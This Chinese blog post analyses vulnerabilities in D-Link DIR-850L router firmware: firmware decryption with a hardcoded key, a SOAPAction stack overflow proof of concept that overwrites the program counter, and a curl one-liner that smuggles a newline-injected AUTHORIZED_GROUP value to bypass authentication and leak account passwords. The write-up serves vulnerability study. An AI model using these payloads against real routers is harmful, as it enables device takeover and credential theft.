iot学习-DIR-850L漏洞分析

2019-06-09 约 1442 字 预计阅读 3 分钟

声明:本文 【iot学习-DIR-850L漏洞分析】 由作者 Sr0cky 于 2019-06-10 06:02:00 首发 先知社区 曾经 浏览数 1 次

感谢 Sr0cky 的辛苦付出!

前期准备

固件下载:

ftp://ftp2.dlink.com/PRODUCTS/DIR-850L/REVA/DIR-850L_REVA_FIRMWARE_1.14.B07_WW.ZIP
ftp://ftp2.dlink.com/PRODUCTS/DIR-850L/REVB/DIR-850L_REVB_FIRMWARE_2.07.B05_WW.ZIP

我们用binwalk分析一下1.14固件

iot@pwn:~/Desktop/tools/firmadyne$ binwalk DIR-850L_REVA_FIRMWARE_1.14.B07_WW.ZIP 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             Zip archive data, at least v2.0 to extract, compressed size: 94426, uncompressed size: 104699, name: DIR-850L_REVA_RELEASENOTES_1.14.B07_EN_WW.PDF
94501         0x17125         Zip archive data, at least v2.0 to extract, compressed size: 9628229, uncompressed size: 9678992, name: DIR850LA1_FW114b07WW.bin
9722945       0x945C41        End of Zip archive, footer length: 22

我们再用binwalk分析一下2.07固件

iot@pwn:~/Desktop/iot$ binwalk DIR850LB1_FW207WWb05.bin 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------

我们发现什么信息也获取不到,应该是被加密了,我们解密一下

这是解密固件的程序:

/* 
 * Simple tool to decrypt D-LINK DIR-850L REVB firmwares 
 *
 * $ gcc -o revbdec revbdec.c
 * $ ./revbdec DIR850L_REVB_FW207WWb05_h1ke_beta1.bin wrgac25_dlink.2013gui_dir850l > DIR850L_REVB_FW207WWb05_h1ke_beta1.decrypted
 */

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

#define USAGE "Usage: decimg <filename> <key>\n"

int main(int    argc,
         char   **argv)
{
        int     i, fi;
        int     fo = STDOUT_FILENO, fe = STDERR_FILENO;

        if (argc != 3)
        {
                write(fe, USAGE, strlen(USAGE));
                return (EXIT_FAILURE);
        }

        if ((fi = open(argv[1], O_RDONLY)) == -1)
        {
                perror("open");
                write(fe, USAGE, strlen(USAGE));
                return (EXIT_FAILURE);
        }

        const char *key = argv[2];
        int kl = strlen(key);

        i = 0;
        while (1)
        {
                char buffer[4096];
                int j, len;
                len = read(fi, buffer, 4096);
                if (len <= 0)
                        break;
                for (j = 0; j < len; j++) {
                        buffer[j] ^= (i + j) % 0xFB + 1;
                        buffer[j] ^= key[(i + j) % kl];
                }
                write(fo, buffer, len);
                i += len;
        }

       return (EXIT_SUCCESS);
}
iot@pwn:~/Desktop/iot$ gcc -o revbdec revbdec.c
iot@pwn:~/Desktop/iot$ ./revbdec DIR850LB1_FW207WWb05.bin wrgac25_dlink.2013gui_dir850l > DIR850LB1_FW207WWb05.decrypted
iot@pwn:~/Desktop/iot$ ls
DIR850LB1_FW207WWb05.bin            dump1090  revbdec.c
DIR850LB1_FW207WWb05.decrypted      DVRF      rtl-sdr
DIR-850L_REVA_FIRMWARE_1.14.B07_WW  revbdec
iot@pwn:~/Desktop/iot$ binwalk DIR850LB1_FW207WWb05.decrypted 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             DLOB firmware header, boot partition: "dev=/dev/mtdblock/1"
10380         0x288C          LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 5184868 bytes
1704052       0x1A0074        PackImg section delimiter tag, little endian size: 10517760 bytes; big endian size: 8232960 bytes
1704084       0x1A0094        Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8231815 bytes, 2677 inodes, blocksize: 131072 bytes, created: 2016-03-29 04:08:14

分析一下固件,是Squashfs filesystem,我们用binwalk -Me将固件解压

然后用firmdyne模拟固件


栈溢出漏洞

漏洞文件位于squashfs-root/htdocs/cgibin

先看下保护:

[*] '/squashfs-root/htdocs/cgibin'
    Arch:     mips-32-big
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments
POST /HNAP1/ HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:49.0) Gecko/20100101
Firefox/49.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: text/xml; charset=utf-8
SOAPAction:
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXAAAA
HNAP_AUTH: BBD0605AF8690024AF8568BE88DD7B8E 1482588069
X-Requested-With: XMLHttpRequest
Referer: http://192.168.0.1/info/Login.html
Content-Length: 306
Cookie: uid=OLnLaWBI8S
Connection: close

汇编:

0x00414130 8f998410 lw t9, -0x7bf0(gp) ; [0x43ad50:4]=0x4251e0 sym.imp.getenv
0x00414134 0320f809 jalr t9
0x00414138 24847dac addiu a0, a0, 0x7dac ; HTTP_SOAPACTION
0x0041413c 3c040042 lui a0, 0x42
0x00414140 8fbc0020 lw gp, 0x20(sp)
0x00414144 2484615c addiu a0, a0, 0x615c
0x00414148 8f998410 lw t9, -0x7bf0(gp) ; [0x43ad50:4]=0x4251e0 sym.imp.getenv
0x0041414c 0320f809 jalr t9
0x00414150 00408821 move s1, v0 ; HTTP_SOAPACTION saved to s1
...
...
...
0x00414a14 02402021 move a0, s2 ; arg1 (dest)
0x00414a18 8fbc0020 lw gp, 0x20(sp)
0x00414a1c 8f9982b0 lw t9, -0x7d50(gp) ; [0x43abf0:4]=0x4253e0 sym.imp.strcat
0x00414a20 0320f809 jalr t9 ; Call to strcat
0x00414a24 02202821 move a1, s1 ; arg2 (src)

伪代码:

这个漏洞是由于使用strcat()函数没有限制长度引起的,此漏洞能够覆盖PC,从而控制程序的执行流,允许任意代码执行。在处理HTTP_SOAPACTION内容时,getenv获取环境变量值,但没有长度限制,将其拼接在 HNAP_AUTH后,超过547字节后,将覆盖PC

POC:

POST /HNAP1/ HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:49.0) Gecko/20100101
Firefox/49.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: text/xml; charset=utf-8
SOAPAction:
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXAAAA
HNAP_AUTH: BBD0605AF8690024AF8568BE88DD7B8E 1482588069
X-Requested-With: XMLHttpRequest
Referer: http://192.168.0.1/info/Login.html
Content-Length: 306
Cookie: uid=kV8BSOXCoc
Connection: close

文件读取漏洞

漏洞点位于 /htdocs/web/getcfg.php


这里有个读取文件的漏洞,要求GETCFG_SVC可控,从而利用dophp函数进行文件读取。

要想进入这个函数首先使is_power_user 函数返回值为1,只有当全局变量AUTHORIZED_GROUP>=0的时候,函数才会返回1,全局变量 AUTHORIZED_GROUP 是由cgibin中传入的,下面我们分析一下cgibin文件

cgibin首先判断请求类型(HEAD、GET、POST)

我们定位到cgibin处理post请求的地方,发现调用了cgibin_parse_request函数

cgibin_parse_request在处理http请求的时候,经过sess_validate 验证的数据,赋值给 AUTHORIZED_GROUP ,因此可以非授权用户可以直接给AUTHORIZED_GROUP赋值来绕过验证

我们可以看出在调用 sobj_add_char 函数时,会用0xA,('\ n') 来分隔参数

所以我们构造的poc为

curl -d "SERVICES=DEVICE.ACCOUNT%0aAUTHORIZED_GROUP=1" "http://[IP]/getcfg.php"

curl -d :使用POST提交参数
SERVICES=DEVICE.ACCOUNT:构造DEVICE.ACCOUNT.xml.php配置文件
%0aURL编码,表示换行

可以看出成功泄露账户密码,由于我模拟的固件没设置密码,所以初始密码为空

参考文章

<https://www.nccgroup.trust/uk/our-research/d-link-dir-850l-web-admin-interface-vulnerable-to-stack-based-buffer-overflow/?research=Technical+advisories>

https://xz.aliyun.com/t/2941#toc-6

https://www.anquanke.com/post/id/175625#h3-5

关键词:[‘安全技术’, ‘漏洞分析’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now